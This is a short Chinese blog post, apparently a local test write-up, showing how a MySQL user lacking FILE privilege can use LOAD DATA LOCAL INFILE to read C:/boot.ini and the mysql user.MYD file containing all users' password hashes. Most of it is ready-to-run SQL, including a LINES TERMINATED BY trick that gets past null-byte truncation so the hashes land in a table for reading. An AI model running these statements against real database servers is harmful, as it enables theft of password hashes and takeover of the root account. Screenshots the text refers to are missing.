时间:2021-07-01 10:21:17 帮助过:50人阅读
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';后来我就一直想怎么利用这个问题。一个可行的思路如下:
我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。
于是本地测试,注意,我当前连接的用户test是没有File权限的:
下面我们执行如下语句:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
然后select * from test2;
发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件
OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘/0′ 即可,这样子就把截断符号作为分隔符处理了,完整的语句:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '/0';
效果:
OK,完成!